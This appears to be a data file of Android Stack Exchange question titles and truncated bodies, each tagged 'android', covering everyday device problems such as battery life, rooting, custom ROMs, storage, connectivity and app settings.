"Title: Does Google Audit all apps that enter the market place? [duplicate] Body: Possible Duplicate: Are the apps safe? How can I make my Android more secure? There are several 'requires root' apps in the market and one of the most famous ones have more than 5 Million ... ",['android'] "Title: Network connection lost when receiving or making a call using Samsung Galaxy S2 Body: Recently noticing that while making or receiving a call, the net connection on the Galaxy S2 is lost. Once the call is over, the connection is restored automatically. OS is android 2.3.6 ... ",['android'] "Title: How do I open .pls files? Body: I downloaded a .pls file for an online radio, but I can't open it. Winamp, VLC player all fail when opening, and A Online Radio which according to the description can open this type doesn't show up in ... ",['android'] "Title: Stop Android File Transfer Popping Up Body: Bit annoying that Android File Transfer pops up whenever I connect my Nexus 7 to the Macbook. Is there any way to keep it active but hidden initially? ",['android'] "Title: Marking notifications as unread Body: (I use CyanogenMod 9.) Here's something that bugs me. Say that someone sent me a few text messages or left a few missed calls on my phone. I see them as notifications, which is great because it ... ",['android'] "Title: Where are the developer options in Android 4.2? Body: I wanted to access the developer options to enable adb access on Android 4.2 but cannot find it. How can I enable that? Once I've activated the menu, how can I hide it again? ",['android'] "Title: Andoid can't detect MeeGo file system Body: I have Asus EeePc laptop in which there is two drive partition first of 246Gb second of 4Gb The first drive have MeeGo OS and other drive contain Android x86 OS for asus. The Problem is that ... ",['android'] "Title: Where to change country information at Samsung App Store? Body: How can i change the country of Samsung App Store? i can't download any apps, because they said that ""its not available for my country""? Shows the following error I have searched the internet for ... ",['android'] "Title: ROM for HTC INCREDIBLE in active development? [duplicate] Body: Possible Duplicate: Where can I find stock or custom ROMs for my Android device? Seems like cyanogen is no longer putting out updates for the DINC. Does ayone know of a ROM for the ... ",['android'] "Title: Virtual buttons (back, home etc) accidentally pressed when playing games. Can this be fixed? Body: I'm on the fence about buying a Nexus 4 for game development. I'm worried about the virtual buttons affecting games as some times you can hit them accidentally, closing the app. I understand that ... ",['android'] "Title: HTC One X Does not charge or turn on Body: A day ago my HTC One X would not turn on. When I booted into developer mode it said at the top ""**LOCKED**"" and ""Security Warning"" (or something similar). It also said ""cpu-bootmode: disabled"". I was ... ",['android'] "Title: Cannot Reach Restore Progress Screen In Titanium Backup PRO Body: On a Samsung Galaxy S I-9000, I just installed CyanogenMod 10 Stable and the latest Google Apps for CM10. TB Pro is version 5.7.0.1. I started a restore (missing apps with data) and during the ... ",['android'] "Title: Looking for jellybean update for micromax a110 [duplicate] Body: Possible Duplicate: When will my device get the Android 4.1 update (Jelly Bean)? I had Micromax A110 mobile, which had ICS os. Now I am looking to update the OS to JellyBean.Please let me ... ",['android'] "Title: Facing Xperia U problems after updated to ICS Body: I had updated my Xperia U to 4.0, after updating my phone am unable to use otg... one app was showing that drive unavailable. Can't use call recording softwares it will record only my voice without ... ",['android'] "Title: Kies dies when trying to update Galaxy Note firmware Body: I downloaded and installed Kies in my Windows 7 laptop. (Toshiba Satellite.) I plug the phone in the USB, it is recognized and its storage shows in Explorer. Then I run Kies. It says there is a ... ",['android'] "Title: Android on my Galaxy Nexus is able to interpret iPhone emoticons, how can I send them back? Body: Recently I notice that my Galaxy Nexus (Verizon 4.1.1) was able to translate the iphone 4 emoticons for my Android phone as seen here: Which is great. However the only way I can send them back is ... ",['android'] "Title: Can you use the Nexus 4 without a SIM card? Body: I currently have an iPod Touch, I want to buy the Nexus 4, but don't want to get a plan (SIM Card) for a while. Will the device work like an iPod Touch/ Wifi capable, but no access to data away from ... ",['android'] "Title: for htc desire s: how to know your phone's region? Body: i'd like to update my software from gingerbread to ICS, just want to make sure to get the right update for my phone. ",['android'] "Title: Samsung Galaxy Tab, charging technique through USB Cable Body: From Galaxy Tab is not being charged through USB Cable @Chris Stratton Tablets have larger batteries than phones and may be unable to sufficiently charge from the half amp limit of a USB port, ... ",['android'] "Title: Samsung S screen turns off while calling Body: during a call, the screen turns off and I become not able to click(touch) any button on the screen. PLEASE help if there is any solution cause it makes me crazy. Thanks. ",['android'] "Title: Black screen during outgoing call on Galaxy S3 Body: I made software update for my Galaxy S3 to 4.1.1 and now after outgoing call the screen remains black and doesn't cancel the call or does anything till call stop. I did factory reset but it doesn't ... ",['android'] "Title: Is it possible to dual-boot my TF201 with Windows RT? Body: I'm really liking the look of Windows 8 / Windows RT, and I'd like to try ditching my PC entirely by getting Windows onto my Transformer Prime. I'm aware that there are a few issues around things like ... ",['android'] "Title: Bluetooth headset changing pairing mode into “media audio” only Body: I've got a Plantronics bluetooth headset which when I pair to my phone (AT&T GS3 4.0.4) works very well at first, with the headset appearing as ""Connected to phone and media audio."" In this mode I ... ",['android'] "Title: Edit my rom's default “Title Bar” Body: I don't know if I'm right in defining it ""Title Bar"" but is this: I want to be able to change size and colour of the bar where it is written ""Iconic memory"" in the picture. I know there are ... ",['android'] "Title: Media on external sd card can be browsed but not seen by other apps (including settings>storage). Not part of the .nomedia file fiasco! Body: As the title says, if I fire up a file browser I can access all the files on the sd-card without a problem. I can even view the pictures with the gallery and the music app plays my music files ... ",['android'] "Title: Why does my Samsung Galaxy S2 have duplicate calendar events? Body: Why does my Samsung Galaxy S2 have duplicate calendar events? I am using Outlook calendar and have downloaded the Google calendar to allow it to sync. When I use the Samsung Kies Program to sync the ... ",['android'] "Title: Android applications privacy and security concerns Body: If a user wants to install some applications from play store, is it sole responsibility of the user to decide whether the apps may harm or not? Should the user be worries regarding permissions? For ... ",['android'] "Title: Forcing apps to install/download on SD Body: I have a HTC Desire, which has a limited space in the phone. Therefore I want to make all apps install to the SD card by default. However, I can't make it work. I have tried the pm ... ",['android'] "Title: How to select Wi-Fi access point? Body: I am at the hotel trying to get my stuff connected. Had no problems with phone and laptop, but when I'm connecting with the tablet internet is unavailable. As far as I can see, it's connecting to ... ",['android'] "Title: Missing backtick from soft keypad Body: I have a HTC One S with Android version 4.0.3. On the short keypad I can't find a way to do a backtick. Am I just missing it, or is there a way to enable additional characters? (Or maybe a better soft ... ",['android'] "Title: Data Network mode doesn't get activated on gingerbread 2.3.4 Body: This happened all of a sudden. I could not start the 3g on my phone. The Data Network mode is always deactivated now. Although, when I go to Settings > Wireless and network settings > Mobile network ... ",['android'] "Title: Different wallpaper for each homescreen? Body: I'd like to be able to have a different wallpaper for each homescreen. I found a live wallpaper that lets you do this. Is there a more efficient/less cumbersome way? ",['android'] "Title: Uninstalled apps still show up on “Apps installed on” in Google Play Store Body: I already uninstalled the unwanted applications from my device, but they still show up on ""Apps installed on"" in my Google Play account. Does it mean that the apps I got rid of are still stored in ... ",['android'] "Title: Google Chrome crashes when attempting to access Desktop Bookmarks (Asus Nexus 7) Body: Steps to reproduce: launch Google Chrome browser and open new tab touch bookmarks option on bottom menu select Desktop Bookmarks This causes Google Chrome to crash, resulting in: ""Aw, Snap! ... ",['android'] "Title: cannot add exchange mail on Nexus S running 4.1.2 Body: I am not able to add an exchange email account to my Nexus S. When I select the add account, corporate, and put in email and password i get to next page with the ssl option and press next, I get ... ",['android'] "Title: Can't see Macbook WiFi access point on Android smartphone Body: I'd like to connect my Android phone (Samsung Galaxy Nexus running Stock JellyBean) to my Macbook Pro (early-2012, running OSX Lion) via an access point created by my Macbook Pro. Sadly I can't even ... ",['android'] "Title: Filesystem hierarchy, that defines the directory structure and directory contents of Android? Body: I have searched, but haven't yet been able to find, an authoritative documentation of the filesystem hierarchy of the Android OS. Can someone tell me whether this exists at all and if so, where? ",['android'] "Title: Podcast app that can create playlists Body: I asked before about a podcast app that is able to share it's episodes with the default music player. Does anyone know of a podcast app that takes it a step further and generates playlists for each ... ",['android'] "Title: Lock down 'receive text messages' setting Body: I recently got a shock on my phone bill when it showed over a hundred texts received by the standard text messaging app. I had been receiving these solely through Google Voice, specifically to avoid ... ",['android'] "Title: How to disable “reject call with an SMS”? Body: ICS introduced an option to reject incoming calls with an SMS. Is there a way to disable this function. If yes, how? Sony Xperia S handset running JB ",['android'] "Title: Which application keeps port opened on android? [duplicate] Body: Possible Duplicate: List of open ports on Android On my nexus 7 rooted device some programs keep two ports opened (8080 and 8082). How can I determine what are those applications? Netstat ... ",['android'] "Title: Got text message with 'download' button, how would I look at the link source or gain further info to see if this is safe? 2.3.6metropcs Body: In the 'messaging' app that comes standard with metropcs, I received a text message that had 'no subject' and was just a download button. I know the person, so there is no need to mention not to trust ... ",['android'] "Title: Galaxy Ace turn on problem after flashing custom ROM Body: I rooted my phone and tried to use a custom ROM, but I forgot to back up all the data etc using clockwork recovery. Then I reset everything, instalLed the custom ROM -- and now it won't turn on. It ... ",['android'] "Title: Google Play allows publishers to respond to users' comments? Body: As far as I have known, and also read in the description of many apps on Google Play, it is not possible for publishers to respond to user's comments, but recently I have come across this: Can ... ",['android'] "Title: Asus Eee Pc with android 4.0 doesn't show internal disk in file system [duplicate] Body: Possible Duplicate: Internal hard disk partitions (sda2) not showing in android system Hi i have Asus EeePc with android 4.0 operating system . There is about 250 GB of total space (seen in ... ",['android'] "Title: android special characters keyboard Body: Under Winodws, if I want to enter extended characters (such as ""«"") I canuse the Character Map application and the Alt+keypad numbers (such as Alt+0171 for the ""«""). How can I do this under ... ",['android'] "Title: How to create a soft link between root partition and ext3 partition(on SD) Body: I am trying to create symbolic links of /data/sdext2/app/* on /data/app. This is what I did in adb shell ln -sf /data/sdext2/app/* /data/app/ But it is telling ""link failed No such file or directory"". ... ",['android'] "Title: Change app page order Body: I have a Samsung Galaxy S3 running Jelly Bean. I have sorted my apps in pages, by topic or whatever (not the home screens, but the app/widget pages). Now I would like to sort those pages, but I can't ... ",['android'] "Title: Prestigio Multipad USB debuging Body: I am having troubles with Prestigio Multipad PMP3370B. I enabled USB debuging in Settings, but when I plug in my device to a computer and start adb devices, it does not recognize it. Does anybody have ... ",['android'] "Title: How to set high resolution on external monitor? Body: I have Samsung Galaxy S3. I connect my phone to 29 inch monitor using HML + HDMI wires. Also I connect it to Apple bluetooth keyboard and magic mouse. I get a very nice experience of Desktop. However ... ",['android'] "Title: How can I do factory reset on Samsung Galaxy 10.1 Tab? Body: After more evidence of my son breaking into my tablet (darned 11-year-old... going to be a true Social Engineer hacker, if I can't get through his thick head that he'll lose all computer ... ",['android'] "Title: Internal hard disk partitions (sda2) not showing in android system Body: I have a x86 system (Asus Eee Pc)having hard disk of 232 GB, in which 4 GB allocated for Android and rest I don't know where it is gone. If I open super user and running this command in android ... ",['android'] "Title: Trying to factory reset, but it's not listed at all as an option [duplicate] Body: Possible Duplicate: How to hard reset a Samsung Galaxy GT-i5800? I'm using a GT-I5800L (firmware 2.1-update 1) and I'm trying to do a factory reset to see if I can get the Wi-Fi working ... ",['android'] "Title: How to properly play 720p/1080p media with subtitles through MHL (HDMI out)? Body: I own a Galaxy Note and got a MHL cable for watching movies on my Sony Bravia. I'm having some problems for playing it nicelly. With hardware decoding: Only the stock samsung ""Video Player"" is able ... ",['android'] "Title: Device always boots in recovery mode, but apparently there is no recovery partition Body: We have a BSNL Penta IS709c (cheapest tablet currently available / Oct 2012) running Android 4.0. Feeling adventurous, I issued reboot recovery through adb and the device tried to reboot in recovery ... ",['android'] "Title: Check which IPs or web-sites an app is communicating with? Body: Usually they do it behind the scenes. So I'd love to know where apps are actually sending data and from whom they are actually getting responses. ",['android'] "Title: Is there a way to connect Acer Iconia A500 tablet to windows PC via USB as a drive, not a device? Body: It currently shows up as a ""device"", but I prefer to have it as a drive so that I can run tools like SyncToy and many others against it. ",['android'] "Title: Specifying SD card mount options upon boot Body: I have an Archos 101IT with a 16G external SD card. The SD card contains one partition that is formatted as an ext3 file system. The Archos runs UrukDroid 1.6.4 (Froyo 2.2). The Problem: When booted, ... ",['android'] "Title: Corporate Email account on Cyanogenmod 7 - Encryption required Body: Has anyone got a corporate email account working with a server that requires Encryption. I'm using a Wildfire with CM 7 and get the error ""This server requires features your Android device does not ... ",['android'] "Title: Send Navigation Audio to handset but music to bluetooth Body: I have a DROID 3 and use it both for navigation and listening to music in my car via Bluetooth (Ford with SYNC). In the BT profile for SYNC on my phone, I can turn off media output over Bluetooth and ... ",['android'] "Title: Can't tell if HTC One V is GSM or CDMA Body: I recently won an HTC One V and I want to sell it, but I'm not sure what carriers it supports. I won it from an HTC stand I went to, and all they said was that the phone was unlocked so that it could ... ",['android'] "Title: How to install stock app on custom rom? Body: I flashed a custom rom but I didn't like it's default Contacts app (I prefer the stock app). How can I install the stock Contacts app in a custom rom? BTW the ROM I have is CM7-APOCALYPSE-FINAL ",['android'] "Title: After flashing ROM in Odin, reboot with animation, message pop ups - processes stop Body: I flash NEW ROM and after reboot, the samsung animation came up. But there as it load there are messages saying the process stop, I press Ok and next message is another process stop - such as ... ",['android'] "Title: How can I run WhatsApp so that I am always online? Body: How can I set WhatsApp to always run in the background? Like Skype, when I exit, it keeps me online to get calls or SMS or chat notifications. While using WhatsApp, when I move away with the menu, it ... ",['android'] "Title: What's the secret behind super durability of latest ADW Launcher EX? Body: Update of ADW Launcher EX is back again after a long time. It brings lot of visual tweaks as well as performance boosts. After few days of experience, I have encountered one even more interesting ... ",['android'] "Title: My Google Nexus S won't connect to network Body: I have a problem with my Google Nexus S. Yesterday I was out in the city and my battery meanwhile died and the phone shutdown. The next day when I charged the phone, I noticed that it is showing no ... ",['android'] "Title: Samsung Galaxy Nexus 4.1.2 Unable to connect to mobile network Body: I recently purchased the handset from the US and currently using it in Vodafone (India) . I upgraded the firmware to 4.1.2 it was working fine and then all of a sudden I am not able to connect to any ... ",['android'] "Title: LG Nexus 4 compatibility Airtel India [duplicate] Body: Possible Duplicate: Can I use my device on a different carrier? I plan to purchase the LG Nexus 4 from the US on the release date (13th November). The phone claims to be unlocked. But will ... ",['android'] "Title: Android Experiments drain battery Body: While I am experimenting with Android I found it annoying that the device even if is plugged in on the PC using a USB is discharging. THe problem is that I am performing some intensive experiments ... ",['android'] "Title: Force close messages; no access to phone Body: Have only had my new Samsung Galaxy Ace GT-S5830i one week and while playing ""Flow Free"" game downloaded from Play Store my phone suddenly switched off and from then on constant ""Force Close"" messages ... ",['android'] "Title: Calendar widget showing the wrong event dates Body: Am I the only one experiencing this? The calendar widget is showing the correct day but the event shown next to it is in 2 days and it shows for tomorrow. Perfect example (see attached image): today ... ",['android'] "Title: Why has my GSIII's battery life dropped from 50-60 hours to 16 hours? Body: I have a GSIII (Sprint) running Android 4.0.4. In the last three days, I have not made any changes or installed any new software that I know of, but my battery life has dropped such that my phone, ... ",['android'] "Title: Why android is power hungry? [closed] Body: When every android phone is released, all the reviews discuss about battery life of the device, since, they say, battery life in android phones is a critical issue. Question is : Why battery life ... ",['android'] "Title: Is it possible to restore a ClockWorkMod backup to an emulator Body: Is it possible to restore a ClockWorkMod backup to an Android emulator using a PC? ",['android'] "Title: Why do I not get the new YouTube ui on my tablet? Body: I've got a Samsung Galaxy Tab 10.1 running CyanogenMod 9-20121028-NIGHTLY-p4wifi and I downloaded the latest YouTube app from the Play Store. However, the app still uses the old ui with the 3d ... ",['android'] "Title: USB Internet is not working in sleep mode Body: I am using Micromax Funbook Pro. The USB Internet connection gets disconnected after the system goes into sleep mode after 1 minute. I want to keep the connection alive. Please help. ",['android'] "Title: Galaxy S3 Accounts & Sync gone after jellybean update 4.1.1 Body: Just updated my new Galaxy S3 to latest jellybean update 4.1.1 and my accounts and sync disappeared. Tech support said it should be under settings / personal tab but not there. Any ideas of what ... ",['android'] "Title: Google Play says “You don't have any devices” Body: I tried factory resetting so I need to enter my Google account again to my device however it's been more than an hour now and Google Play still says ""You don't have any devices"". Any ideas how to fix ... ",['android'] "Title: Mobile detecting Laptop as “charger” instead of “USB Connected”? Body: From quite some months, I have been using a rooted Samsung Galaxy Y mobile phone. The battery life is not much and so, everyday whenever I am doing any work on my laptop, I just connect my mobile, so ... ",['android'] "Title: How can I manually extract my contacts from a backup image of Android? Body: So I recently made an .img using dd of my Froyo installation on my phone prior to wiping and installing a custom Jellybean ROM. Turns out that the contacts were saved locally and not with Google. I ... ",['android'] "Title: Should I backup .odex files too? Body: I have recently got an app that permits me to view the contents of my phone memory on my rooted Samsung Galaxy Y mobile phone. In /system/app folder, I see all the system apps that came pre-installed ... ",['android'] "Title: Video showing up as Audio in media library Body: I use Jelly Bean on my Galaxy Nexus. I have copied a .avi File to the 'Movies'-folder of the device using mtpfs. I expected the file to show up as a Video in the Media Library so I can use Skifta (a ... ",['android'] "Title: Memory settings menu inconsistently shows internal storage half-empty and completely full at the same time Body: I own a sony xperia tipo that has around 2 gigabytes of internal storage. Today, I got a warning that my phone's internal storage is full, while using google currents, so I went to the storage menu ... ",['android'] "Title: How does one root a Vodafone HTC One XL? Body: We're attempting to root a new HTC One XL. The bootloader has been unlocked via HTCdev.com but none of the online methods of acquiring root access have worked. Relevant phone information: ... ",['android'] "Title: SD card won't mount when Xperia Neo V is connected to Ubuntu 12.10 Body: I upgraded my Ubuntu set up to 12.10 and realized that the SD card can't mount like it used to every time I connected my Neo V (running android 2.3.4). It can't be a hardware issue as it mounts ... ",['android'] "Title: No more Data on rooted Galaxy tab 7.7 (enter sim-card) Body: I played a bit with my Android-Device, partitioning my SD-Card to met the requirements of Link2SD (without success). Finally I formated the card and copied the data back onto that card, so it looks ... ",['android'] "Title: Auto-delete certain file extensions on my phone? Body: How do I make my phone automatically delete certain file extensions? I'm on ICS, rooted. For example, after connecting my phone to my mac, it will leave a .trashes file and other ""."" folders on my SD ... ",['android'] "Title: Does build number matter when rooting phone? Body: I want to root a Galaxy Ace S5830, Android 2.3.6 Build Number GINGERBREAD.DXKT5. I've seen some tutorials that says specific build numbers while some says nothing specific. Does build number matter ... ",['android'] "Title: Arnova GBOOK Root? Body: I just bought the Arnova GBOOK android e-reader/tablet today. I am having a hell of a trouble rooting it. Please could someone with the experience of this device help me? P.S It is running ICS. ",['android'] "Title: Really know what is using internal storage [duplicate] Body: Possible Duplicate: What can I do to manage my phone’s internal storage? I am constantly running into the ""Low Space"" warning so I would like to know what is really consuming the phone's ... ",['android'] "Title: Why would a free app be in the top grossing section? Body: I was just browsing through the play store and noticed that there are a few free apps in the top grossing section and that's a little puzzling. This might not be the best place to put up this question ... ",['android'] "Title: What is “USB storage app” under Storage of App Info? Body: When I moved an app to the Storage Card on my HTC One V, I found some data moved to USB Storage App. The Storage Card is still showing not used. What's ""USB storage app""? Why apps are not moving into ... ",['android'] "Title: Can the Nexus 7 send and receive GSM texts and calls? Body: The Nexus 7 3G is out and I'm wondering whether Android 4.2 tablets are still data-only devices. Can I install a custom ROM or apk to this tablet so that I can send and receive GSM calls and text ... ",['android'] "Title: I keep getting storage errors but I have plenty of free space, what is safe to remove from internal storage? Body: I keep getting these errors: Screenshot #1: install errors (click image to enlarge) But according to the storage settings I should have plenty of free space: Screenshot #2: free space (click ... ",['android'] "Title: How do I create a reocurring calendar entry that ends at some time? Body: I am taking a class at the same time on several date throughout the month. Is it possible to copy the calendar event from one week to the next without retyping the event each time. I will be attending ... ",['android'] "Title: msm_otg kernel wakelock preventing deep sleep Body: Ever since upgrading my stock Sprint Galaxy S3 to the official Jelly Bean release, my phone won't go in deep sleep at all, it's constantly at 384MHz. It's because of msm_otg kernel wakelock. Anyone ... ",['android'] "Title: Best way to update to latest versions of custom ROMs? Body: What is the easiest and most time effective way to update to different builds of a custom ROM ? Say for example, having an Infuse, I follow the builds of Cyanaogenmod 10 and they release updates ... ",['android'] "Title: How do I set a default calendar-app in Android (Jelly Bean)? Body: I've installed PocketInformant and use it as my calendar app on my phone with Jelly Bean. However, when I get appointment/calendar event reminders, it's the stock calendar that notifies me. This is a ... ",['android'] "Title: How does Google Play determine the region on a tablet without SIM card Body: I know Google Play uses SIM card to determine the region on cell phones. And I know Market Unlocker and Market Enabler. How does Google Play determine your region on a tablet without SIM card? And ... ",['android'] "Title: How to stop web browser offering to sign into Google account Body: This question seems to be all over various forms, but i haven't yet found an answer. On my Android phone, the stock web browser offers to sign in to my Google account when i visit Google websites. At ... ",['android'] "Title: Are there maps that I can download to a PC and later transfer to the android phone? Body: I notice that many maps vendor such as Google require user to download offline map using their android phone. At the worst case, the user need to setup internet connection point in which the android ... ",['android'] "Title: Exchange SubFolders Body: Please help. I have setup an exchange account on my Samsung Galaxy S3, yeseterday i cold see subfolders, i created a new subfolder in the inbox yesterday and this did not replicate onto the phone. i ... ",['android'] "Title: CyanogenMod 9 gives AuthenticatorException while adding account Body: I had installed custom ROM CyanogenMod 9. But I am not able to make Google play work in it. It doesn't show Add Google Account option in the Accounts & Sync option in Settings. I had also googled ... ",['android'] "Title: How to root the new version of the ONE X Body: How Can i Root my HTC ONE X with android version 4.0.4, HTC sense version 4.0, Software number 2.20.502.7 ATT US edition ",['android'] "Title: When will my device get the Android 4.2 update (Jelly Bean)? Body: Android 4.2 (Jelly Bean) was officially announced on October 29, 2012. (You can review the high level changes in Jelly Bean at the official Android Developer's site.) Of course, not all devices will ... ",['android'] "Title: Roms for Droid X2 2.3.5 rooted? [duplicate] Body: Possible Duplicate: Where can I find stock or custom ROMs for my Android device? Hello I'm new to this forum and i decided to give it a try... I have a Motorola DX2 2.3.5 and I actually ... ",['android'] "Title: Update andriod 2..3.4 on htc sensation [duplicate] Body: Possible Duplicate: How do I update the OS on my device? I have a Cell phone Htc sensation with Android system 2.3.4 i try to check for updates it says that there is no new updates is there ... ",['android'] "Title: Why is Google Maps telling me that Offline Maps aren't available? Body: So, I've been travelling around the world a lot over the last couple of months, and one thing that I've been doing to avoid big roaming data charges on my personal phone, has been using the cached ... ",['android'] "Title: Replacing Ultrajack with clockworkmod Body: How do I un-install Ultrajack Recovery? I flashed Ultrajack Recovery onto my Ideos U8150 but I want to replace that with CWM 5.0.2.8 for a new ROM. I tried overwriting it but that didn't work. Help? ",['android'] "Title: Android battery usage (3G, HSDPA and Edge) Body: In order to reduce battery usage I checked the Use only 2G networks from Settings > Wireless & networks > Mobile networks on my Android. Then I noticed the E icon appeared instead of H on ... ",['android'] "Title: Restrict apps from accessing the internet at the background without the end-user knowledge Body: Is it possible to restrict app from accessing the internet at the background without the end-user knowledge. (Assume the phone is not rooted) In other word, are there apps that can inform the ... ",['android'] "Title: Unable to copy files to /sdcard Body: Due to a configuration error I made combined with an OTA update (Android 4.1.2), I had to re-unlock my bootloader to regain root on my GSM Galaxy Nexus. This process wipes the entire phone, including ... ",['android'] "Title: How exactly do I make S2E work? Body: I've been using Link2SD but apparently it doesn't move the app's private data to the 2nd partition on my SD card, thus, it still eats up the internal memory. So I tried S2E which supposedly moves the ... ",['android'] "Title: Motorola Fire XT on boot loop - flash/recover without powering on? Body: I rooted my Fire XT with SUT and SuperUserOneclick .. so far all seemed good. Then I ran Android_AIO_Flasher_1.00 and tried to install the NoLock apk. After that the phone has just been going into a ... ",['android'] "Title: galaxy s2 wifi problem after updating to ice cream sandwich Body: hi guys i have samsung galaxy s2 and it was working very well before upgrade to ice cream sandwich i didnt face any trouble in upgrading and it upgrade well but i faced a problem with wifi connection ... ",['android'] "Title: Allowing my rooted Sanyo Zio to work with my Vista 64 computer Body: I recently got my Sanyo Zio phone and I would like to upload my android programs that i coded earlier onto it. I installed the driver that I found on the website and then plugged in my phone and when ... ",['android'] "Title: Move Mail storage from phone's internal memory to the SD Card Body: I am not too concerned with the security aspect of putting my mail on the SD card, I am however very interested in moving the mail storage from the phone's internal memory to the SD card. I have ... ",['android'] "Title: Google contact sync photo rotated Body: I have enabled contact sync with my Google account on my Google Nexus phone running Android 4.1.2. One of my contacts' profile photo appears rotated to the left instead of being upright as set by the ... ",['android'] "Title: Jurisdictions where camera shutter sound is mandated by law [closed] Body: I found some claims that it is illegal to disable the shutter sound on phone cameras in some countries. However, I found few reliable references on the matter. Do you know of any laws in your part of ... ",['android'] "Title: Protecting or Limiting my account's power Body: I have linked a great deal of power to my phone. It is connected to my gmail to such an extent that I am starting to get concerned that if somebody where to steal my phone they could reek havok on my ... ",['android'] "Title: Battery level indicators: Do they consume more battery? Body: I have a Samsung Galaxy Y phone, the battery level indicator that comes pre-installed in the status bar, shows only a graphical representation of the battery level and does not gives a number ... ",['android'] "Title: How can I sort / specify separate storage locations for my audio files? Body: So, this question is a little off the wall, so I'll first explain what I'm looking to do. I have a bunch of MP3s from a 'Learn to Speak Japanese' program, and I'd like to listen to them on my phone ... ",['android'] "Title: how easy is it switch between bluetooth speakers on nexus 7 Body: If I buy a Nexus 7 and two good bluetooth speakers, can you pair with both at the same time? Or if you have to switch between them, can that be done really really easily? I'm looking to avoid ... ",['android'] "Title: Configuring VPN on a Samsung devices Body: I'm traveling in Iran and I would like to update my position on a website that uses Google Maps. The problem is that on my both Samsung Android devices I can't see the maps (the web site is not ... ",['android'] "Title: How do I get the Android Kindle/nook apps to recognize .MOBI/.EPUB files on my SD card? Body: I prefer to manage my ebook files manually, so I'm having trouble getting the Android Kindle and nook apps to locate the .MOBI and .EPUB files that I put on my SD card. Is there any sort of Browse ... ",['android'] "Title: Power management on Android — is app CPU correlated to power usage? Body: 2 questions: Is application CPU usage on Android correlated and how highly to battery usage? In other words, are apps that suck a lot of CPU also draining the battery or not necessarily? Is there a ... ",['android'] "Title: How to root Casio Commando phone Body: I have the latest version of the Casio Commando. I can't seem to get it to be rooted. It is running the latest update and so its at Android 2.3. Anyone know if it is possible, I remember reading ... ",['android'] "Title: Removing an entry in the Phone Favourites list? Body: When I pull up favourites (in Ice Cream Sandwich) in the phone app the menu button on the bottom left provides an option to remove an entry in the list. But as far as I can tell it does not give you ... ",['android'] "Title: Messaging keeps drafts after you have edited and used them Body: Running a Galaxy Nexus on Jelly Bean 4.1.2. Stock, with stock messaging app. I find that when I create a draft message because I've accidentally hit home instead of space, when reloading the ... ",['android'] "Title: How do you set the Swype keyboard to delete the entire word when the delete button is held down? Body: Older version did this but now it only happens to the first word. ""If I have a sentence like this"" and wanted to delete all the way to ""If I"" I could have held down the delete key and after a second ... ",['android'] "Title: Is there a way to determine whether a source for rooting instructions is reliable? Body: I'm considering rooting an ATT S3, and came across this guide: The guide links to some file that is supposed to contain both a file to be copied into the phone and the tools for flashing the CWM. ... ",['android'] "Title: Dialing an extension automatically Body: How do I add a phone number extension to a contact in a way that it will dial the extension automatically a few seconds after a call is connected? I have seen 4 different ways that appear to work on ... ",['android'] "Title: Is there any shortcut for closing a tab in Chrome? Body: I find it very annoying opening the tabs list and swiping over or hitting the little X for closing a tab (an action which I do a lot...) Is there any shortcut for closing the front tab using some ... ",['android'] "Title: Google Cloud Print from Android GMail Body: I have setup Google Cloud Print, and it works great. I love being able to print to my home printer, from my phone no matter where I am. However, the one thing I can't seem to print are GMail ... ",['android'] "Title: Unknown Notification Alerts Body: My S3 constantly sounds a Notification alert but I can't tell what it is trying to notify me about. No new emails, no new messages. What is it trying to tell me? ",['android'] "Title: Google Play movie rental errors as it says my device is rooted (it is not) Body: I have a standard Galaxy S3. I have rented and downloaded Movies from Google play before however now it is saying: Downloads aren't supported on rooted devices (error 44) However my S3 is not ... ",['android'] "Title: Changing OS completely on galaxy note SC-05D and galaxy s2 SC-02C Body: I live in Japan and I would like to get these 2 phones but both of them is sold here with Google Android 2.3.7 Japanese OS. I was wondering if it possible to change that into a regular English ... ",['android'] "Title: Why does my phone uses Google Public DNS? Body: I was just curious to know what DNS server my phone used. So I launched a terminal emulator and I entered: $ cat /etc/resolv.conf nameserver 8.8.8.8 nameserver 8.8.4.4 As you can see, my phone uses ... ",['android'] "Title: Are calls made by third-party apps logged? Body: For the first time I installed app that can make calls automatically (sms/call screener). What worries me is this level of permissions -- however I have to no choice really because stock screener ... ",['android'] "Title: USB-selected, why are mp3's invisible? Body: When I plug my phone into my PC, I need to go into USB mode to add and remove files. When I remove the phone, I cannot see any of the files unless I first switch back to DSM mode, even if I turn USB ... ",['android'] "Title: Prevent SMS deletion when removing Google Account Body: Before, when I try to switch Google accounts (by removing old then adding new) my SMS got deleted. Is it possible to prevent this? Also, if I maintain two Google accounts then later decide to remove ... ",['android'] "Title: How can I put my Nexus 7 back to factory default ? Body: I have a Nexus 7, that I rooted and upgraded once, but it now seems that something changed it. As it is registered in Google Play, there are way too many applications that I cannot install on it. I ... ",['android'] "Title: Can I see my Play Store wishlist on the web? Body: Google Play store recently gained a long-awaited wishlist feature in the 3.9.16 version of the application. I was wondering whether the wishlist could be modified from the web version of the Play ... ",['android'] "Title: Call log always shows '13' missed calls Body: I am using Samsung Galaxy S III. My call log always shows '13' missed calls. I tried with restarting the phone etc., But no change. Is there any way to fix the issue without resetting the phone? ",['android'] "Title: inaccurate location history [closed] Body: My location history with Google maps went to crap after the 9/19 update. Some days it shows I went 20 ft while on others it shows me jumping around from many different places (some I haven't even ... ",['android'] "Title: Are there any dependencies for unrevoked3 to run on stock ubuntu? Body: I cannot get unrevoked 3 to run on either my laptop or desktop which both run 64 bit Ubuntu. Is there a dependency I need? I download and extract to ~/Downloads cd ~/Downloads gksu ./reflash ... ",['android'] "Title: Some apps are gone and others crash after Samsung Galaxy S2 crash Body: I'm facing a problem with my Galaxy S2. I've been using it for 1 year but a week ago when I used the alarm clock to set an alarm, the phone suddenly hanged and restarted. After the restart it stopped ... ",['android'] "Title: Stuck at “Verifying Information” when updating to ICS Body: I've been trying for a few hours to update my Desire S running Android 2.3.5 to the newly released official ICS rom ... ",['android'] "Title: How can I save photos that I take with my Android's camera in a lossless format? Body: How can I save the images captured with my Android's camera in RAW or TIFF format? Are there any apps, ROM/kernel Modifications or other methods that will allow me to accomplish this? Technically I ... ",['android'] "Title: Samsung Galaxy S Plus formatted itself Body: The past couple of days my Galaxy S Plus started lagging, and today all of sudden it got stuck. When I restarted it the phone was completely wiped, had no apps, no contacts, nothing. Now when I try ... ",['android'] "Title: Why does my screen still turn on while charging? (CyanogenMod 9) Body: Why does my screen still turn on while charging? have to off manually by pressing power button ",['android'] "Title: When typing, automatically replace specific characters with others (ie accented uppercase Greek vowels) Body: I'm looking for an app or other way to automatically replace specific characters with 